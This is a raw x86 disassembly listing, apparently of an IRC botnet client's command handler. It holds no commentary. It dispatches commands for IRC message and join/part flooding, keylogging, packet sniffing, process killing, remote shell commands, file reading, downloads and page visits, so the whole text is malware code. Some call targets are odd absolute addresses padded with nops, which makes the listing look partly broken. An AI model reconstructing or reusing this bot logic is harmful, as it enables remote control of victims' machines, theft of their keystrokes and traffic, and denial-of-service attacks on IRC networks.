eax, [ebp+var_14F8] push offset aF ; "#f" push esi push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_1508] push edi push 10h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_1508] push eax lea eax, [ebp+var_2C4] push offset unk_42B9E4 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B3BA add esp, 18h mov [ebp+var_13EC], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1508] push ebx push eax push offset byte_40BB65 push ebx push ebx call near ptr 26A06F9h nop mov ecx, [ebp+var_13EC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_404BA0 loc_404B8A: ; CODE XREF: sub_401ACD+30D1j cmp [ebp+var_13E0], ebx jnz loc_4081AD push 32h nop call near ptr 26A068Bh jmp short loc_404B8A ; --------------------------------------------------------------------------- loc_404BA0: ; CODE XREF: sub_401ACD+30BBj nop call near ptr 26B0669h push eax push offset unk_42B9A4 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_404BB1: ; CODE XREF: sub_401ACD+2FEFj push [ebp+arg_8] push offset aReconnect_in ; "reconnect.in" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095B4 push [ebp+arg_8] push offset aRin ; "rin" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095B4 push [ebp+arg_8] push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409570 push [ebp+arg_8] push offset aRinms ; "rinms" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409570 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4057B7 call near ptr 26C0589h nop push eax call sub_41C2B8 push edi push offset aLoad ; "load" call sub_41CA50 add esp, 0Ch test eax, eax jnz short loc_404CB7 cmp [ebp+esi+var_80], ebx jz short loc_404CB7 push [ebp+esi+var_80] call sub_41C159 pop ecx push eax push [ebp+esi+var_84] call sub_41C159 pop ecx push eax push [ebp+esi+var_88] call sub_417E06 add esp, 0Ch lea eax, [ebp+var_2C4] push [ebp+esi+var_84] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42B93C push eax call sub_41C266 add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CB7 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_404CB7: ; CODE XREF: sub_401ACD+3173j ; sub_401ACD+3179j ... push edi push offset dword_42B938 call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404D21 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D21 push offset asc_42CDC0 ; " " push offset dword_42B934 push eax call sub_41843B push eax lea eax, [ebp+var_47F0] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_47F0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B924 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404D21: ; CODE XREF: sub_401ACD+31F9j ; sub_401ACD+3204j push edi push offset dword_42B920 call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404D8B mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D8B push offset asc_42CDC0 ; " " push offset dword_42B934 push eax call sub_41843B push eax lea eax, [ebp+var_4AF4] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_4AF4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B90C push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404D8B: ; CODE XREF: sub_401ACD+3263j ; sub_401ACD+326Ej push edi push offset aNt ; "nt" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404DF5 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DF5 push offset asc_42CDC0 ; " " push offset dword_42B934 push eax call sub_41843B push eax lea eax, [ebp+var_48F0] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404DF5: ; CODE XREF: sub_401ACD+32CDj ; sub_401ACD+32D8j push edi push offset aMode ; "mode" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404E5F mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E5F push offset asc_42CDC0 ; " " push offset dword_42B934 push eax call sub_41843B push eax lea eax, [ebp+var_4FF8] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_4FF8] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404E5F: ; CODE XREF: sub_401ACD+3337j ; sub_401ACD+3342j push edi push offset aJoin ; "join" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404E9C mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404E9C push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_404E9C: ; CODE XREF: sub_401ACD+33A1j ; sub_401ACD+33ACj push edi push offset aPart_0 ; "part" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404ED9 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404ED9 push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_404ED9: ; CODE XREF: sub_401ACD+33DEj ; sub_401ACD+33E9j push edi push offset aPartflood ; "partflood" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404F1B mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F1B push offset dword_427620 push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404F1B: ; CODE XREF: sub_401ACD+341Bj ; sub_401ACD+3426j push edi push offset aPnick ; "pnick" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404F92 cmp [ebp+esi+var_88], ebx jz short loc_404F92 call near ptr 26C0589h nop push eax call sub_41C2B8 pop ecx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B8] push edx push [ebp+esi+var_88] push offset dword_42B89C push eax call sub_41C266 add esp, 10h lea eax, [ebp+var_17B8] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_404F92: ; CODE XREF: sub_401ACD+345Dj ; sub_401ACD+3466j push edi push offset dword_42B888 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4050E9 cmp [ebp+esi+var_88], ebx jz loc_4050E9 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push offset dword_427620 push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 3E8h idiv ecx push edx nop call near ptr 26A068Bh push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 384h idiv ecx push edx nop call near ptr 26A068Bh push offset dword_427620 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 0C8h idiv ecx push edx nop call near ptr 26A068Bh push offset dword_427620 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_4050E9: ; CODE XREF: sub_401ACD+34D4j ; sub_401ACD+34E1j push edi push offset dword_42B884 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405181 cmp [ebp+esi+var_88], ebx jz short loc_405181 call near ptr 26C0589h nop push eax call sub_41C2B8 pop ecx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42B85C push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 24h loc_405181: ; CODE XREF: sub_401ACD+362Bj ; sub_401ACD+3638j push edi push offset aNick_0 ; "nick" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405289 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_405289 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F lea eax, [ebp+var_4BC] push eax call sub_417E84 add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx call near ptr 26A068Bh nop lea eax, [ebp+var_4BC] push eax call sub_417E84 pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 1F4h idiv ecx push edx nop call near ptr 26A068Bh lea eax, [ebp+var_4BC] push eax call sub_417E84 pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_405289: ; CODE XREF: sub_401ACD+36C3j ; sub_401ACD+36D2j push edi push offset aChgnick ; "chgnick" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4052CE lea eax, [ebp+var_180C] push eax call sub_417E84 pop ecx lea eax, [ebp+var_180C] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_4052CE: ; CODE XREF: sub_401ACD+37CBj push edi push offset aMsg ; "msg" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4053C3 cmp [ebp+esi+var_88], ebx jz loc_4053C3 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push offset dword_427624 push [ebp+esi+var_88] push offset dword_42B924 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 3E8h idiv ecx push edx nop call near ptr 26A068Bh push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B924 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 384h idiv ecx push edx call near ptr 26A068Bh nop push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B924 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_4053C3: ; CODE XREF: sub_401ACD+3810j ; sub_401ACD+381Dj push edi push offset aNotice_0 ; "notice" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4054B8 cmp [ebp+esi+var_88], ebx jz loc_4054B8 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push offset dword_427624 push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 3E8h idiv ecx push edx nop call near ptr 26A068Bh push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 384h idiv ecx push edx nop call near ptr 26A068Bh push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_4054B8: ; CODE XREF: sub_401ACD+3905j ; sub_401ACD+3912j push edi push offset aCtcp ; "ctcp" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4055D9 cmp [ebp+esi+var_88], ebx jz loc_4055D9 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B814 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 26A068Bh push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7FC push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 26A068Bh push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7E4 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx call near ptr 26A068Bh nop push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7E4 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_4055D9: ; CODE XREF: sub_401ACD+39FAj ; sub_401ACD+3A07j push edi push offset aMix ; "mix" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405709 cmp [ebp+esi+var_88], ebx jz loc_405709 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B814 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx call near ptr 26A068Bh nop push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 26A068Bh push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 26A068Bh push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_405709: ; CODE XREF: sub_401ACD+3B1Bj ; sub_401ACD+3B28j push edi push offset aRegister ; "register" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40574D mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_40574D push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_40574D: ; CODE XREF: sub_401ACD+3C4Bj ; sub_401ACD+3C56j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_40619B mov [ebp+arg_18], offset dword_4D4A5C loc_405769: ; CODE XREF: sub_401ACD+3CC0j mov eax, [ebp+arg_18] cmp dword ptr [eax-4], 1 jnz short loc_40577F mov eax, [eax] cmp eax, ebx jbe short loc_40577F push eax call dword_4CBA6C loc_40577F: ; CODE XREF: sub_401ACD+3CA3j ; sub_401ACD+3CA9j add [ebp+arg_18], 210h cmp [ebp+arg_18], offset dword_4DB17C jl short loc_405769 cmp [ebp+var_8], ebx jnz loc_40619B push ebx push [ebp+var_4] push offset unk_42B784 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h jmp loc_40619B ; --------------------------------------------------------------------------- loc_4057B7: ; CODE XREF: sub_401ACD+3151j push [ebp+arg_8] push offset aNick_0 ; "nick" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409554 push [ebp+arg_8] push offset aN ; "n" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409554 push [ebp+arg_8] push offset aJoin ; "join" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409531 push [ebp+arg_8] push offset aJ ; "j" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409531 push [ebp+arg_8] push offset aPart_0 ; "part" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409515 push [ebp+arg_8] push offset aPt ; "pt" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409515 push [ebp+arg_8] push offset aRaw ; "raw" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4094DB push [ebp+arg_8] push offset aR ; "r" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4094DB push [ebp+arg_8] push offset aKillthread ; "killthread" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409418 push [ebp+arg_8] push offset aK ; "k" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409418 push [ebp+arg_8] push offset aC_quit ; "c_quit" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40936D push [ebp+arg_8] push offset aC_q ; "c_q" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40936D push [ebp+arg_8] push offset aC_rndnick ; "c_rndnick" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40931F push [ebp+arg_8] push offset aC_rn ; "c_rn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40931F push [ebp+arg_8] push offset aPrefix ; "prefix" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40930A push [ebp+arg_8] push offset aPr ; "pr" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40930A push [ebp+arg_8] push offset aOpen ; "open" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092E0 push [ebp+arg_8] push offset aO ; "o" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092E0 push [ebp+arg_8] push offset aServer ; "server" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092C7 push [ebp+arg_8] push offset aSe ; "se" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092C7 push [ebp+arg_8] push offset aDns ; "dns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40925F push [ebp+arg_8] push offset aDn ; "dn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40925F push [ebp+arg_8] push offset aKillproc ; "killproc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409233 push [ebp+arg_8] push offset aKp ; "kp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409233 push [ebp+arg_8] push offset aKill ; "kill" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091D8 push [ebp+arg_8] push offset aKi ; "ki" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091D8 push [ebp+arg_8] push offset aDelete ; "delete" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091A0 push [ebp+arg_8] push offset aDel ; "del" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091A0 push [ebp+arg_8] push offset aGet ; "get" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090C3 push [ebp+arg_8] push offset aGt ; "gt" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090C3 push [ebp+arg_8] push offset aList ; "list" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090A5 push [ebp+arg_8] push offset aLi ; "li" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090A5 push [ebp+arg_8] push offset aVisit ; "visit" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408FB5 push [ebp+arg_8] push offset aV ; "v" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408FB5 push [ebp+arg_8] push offset aMirccmd ; "mirccmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F6F push [ebp+arg_8] push offset aMirc ; "mirc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F6F push [ebp+arg_8] push offset aCmd ; "cmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F18 push [ebp+arg_8] push offset aCm ; "cm" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F18 push [ebp+arg_8] push offset aReadfile ; "readfile" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408EA1 push [ebp+arg_8] push offset aRf ; "rf" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408EA1 push [ebp+arg_8] push offset aPsniff ; "psniff" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405C9F push edi push offset aOn ; "on" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405C67 push 20h call sub_40B602 test eax, eax pop ecx jle short loc_405B91 push offset dword_42B68C jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405B91: ; CODE XREF: sub_401ACD+40B8j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_F5C], eax mov eax, [ebp+var_4] mov [ebp+var_ED4], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_ED0], eax jnz short loc_405BD3 mov esi, offset aF_1 ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405BD3 mov esi, [ebp+var_88] loc_405BD3: ; CODE XREF: sub_401ACD+40E8j ; sub_401ACD+40FEj push esi lea eax, [ebp+var_F58] push 80h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B65C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B3BA add esp, 14h mov [ebp+var_ED8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F5C] push ebx push eax push offset byte_412B61 push ebx push ebx call near ptr 26A06F9h nop mov ecx, [ebp+var_ED8] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_405C56 loc_405C40: ; CODE XREF: sub_401ACD+4187j cmp [ebp+var_ECC], ebx jnz loc_4081AD push 32h nop call near ptr 26A068Bh jmp short loc_405C40 ; --------------------------------------------------------------------------- loc_405C56: ; CODE XREF: sub_401ACD+4171j call near ptr 26B0669h nop push eax push offset dword_42B620 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405C67: ; CODE XREF: sub_401ACD+40A8j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4081AD push ebx push 20h call sub_40B5B5 pop ecx cmp eax, ebx pop ecx jle short loc_405C95 push eax push offset dword_42B5E4 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405C95: ; CODE XREF: sub_401ACD+41BBj push offset dword_42B5B8 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405C9F: ; CODE XREF: sub_401ACD+4093j push [ebp+arg_8] push offset aSniffer ; "sniffer" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405DEF push edi push offset aOn ; "on" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405DB7 push 21h call sub_40B602 test eax, eax pop ecx jle short loc_405CE1 push offset unk_42B590 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405CE1: ; CODE XREF: sub_401ACD+4208j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC8], eax mov eax, [ebp+var_4] mov [ebp+var_E40], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E3C], eax jnz short loc_405D23 mov esi, offset aF_1 ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405D23 mov esi, [ebp+var_88] loc_405D23: ; CODE XREF: sub_401ACD+4238j ; sub_401ACD+424Ej push esi lea eax, [ebp+var_EC4] push 80h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_2C4] push offset unk_42B564 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B3BA add esp, 14h mov [ebp+var_E44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC8] push ebx push eax push offset sub_4131EC push ebx push ebx nop call near ptr 26A06F9h mov ecx, [ebp+var_E44] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_405DA6 loc_405D90: ; CODE XREF: sub_401ACD+42D7j cmp [ebp+var_E38], ebx jnz loc_4081AD push 32h nop call near ptr 26A068Bh jmp short loc_405D90 ; --------------------------------------------------------------------------- loc_405DA6: ; CODE XREF: sub_401ACD+42C1j nop call near ptr 26B0669h push eax push offset unk_42B528 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405DB7: ; CODE XREF: sub_401ACD+41F8j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4081AD push ebx push 21h call sub_40B5B5 pop ecx cmp eax, ebx pop ecx jle short loc_405DE5 push eax push offset unk_42B4EC jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405DE5: ; CODE XREF: sub_401ACD+430Bj push offset unk_42B4C0 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405DEF: ; CODE XREF: sub_401ACD+41E3j push [ebp+arg_8] push offset aIdent ; "ident" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405EC2 push edi push offset aOn ; "on" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405E8A push 2 call sub_40B602 test eax, eax pop ecx jle short loc_405E2D push offset dword_42B498 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405E2D: ; CODE XREF: sub_401ACD+4354j lea eax, [ebp+var_2C4] push offset dword_42B46C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B3BA add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_410BFD push ebx push ebx call near ptr 26A06F9h nop imul esi, 234h cmp eax, ebx mov dword_43E924[esi], eax jnz loc_4081AD nop call near ptr 26B0669h push eax push offset dword_42B438 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405E8A: ; CODE XREF: sub_401ACD+4348j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4081AD push ebx push 2 call sub_40B5B5 pop ecx cmp eax, ebx pop ecx jle short loc_405EB8 push eax push offset dword_42B400 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405EB8: ; CODE XREF: sub_401ACD+43DEj push offset dword_42B3E0 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405EC2: ; CODE XREF: sub_401ACD+4333j push [ebp+arg_8] push offset aKeyloger ; "keyloger" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408D24 push [ebp+arg_8] push offset aKeylog ; "keylog" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408D24 push [ebp+arg_8] push offset aStop ; "stop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408CFB push [ebp+arg_8] push offset aStop ; "stop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408CFB push [ebp+arg_8] push offset aNet ; "net" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_40616D cmp dword_4CBAA4, ebx jz short loc_405F4F cmp dword_4CBACC, ebx jz short loc_405F4F push offset unk_42B388 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_405F4F: ; CODE XREF: sub_401ACD+446Ej ; sub_401ACD+4476j cmp [ebp+var_C], ebx jz loc_406BFE mov eax, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_405F77 push eax push [ebp+var_C] call sub_41C2E0 pop ecx mov [ebp+arg_0], eax pop ecx loc_405F77: ; CODE XREF: sub_401ACD+449Aj push edi push offset aStart ; "start" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405FC3 cmp [ebp+arg_18], ebx jz short loc_405F97 push [ebp+arg_0] push 3 jmp loc_406021 ; --------------------------------------------------------------------------- loc_405F97: ; CODE XREF: sub_401ACD+44BEj push [ebp+var_4] push [ebp+var_88] push 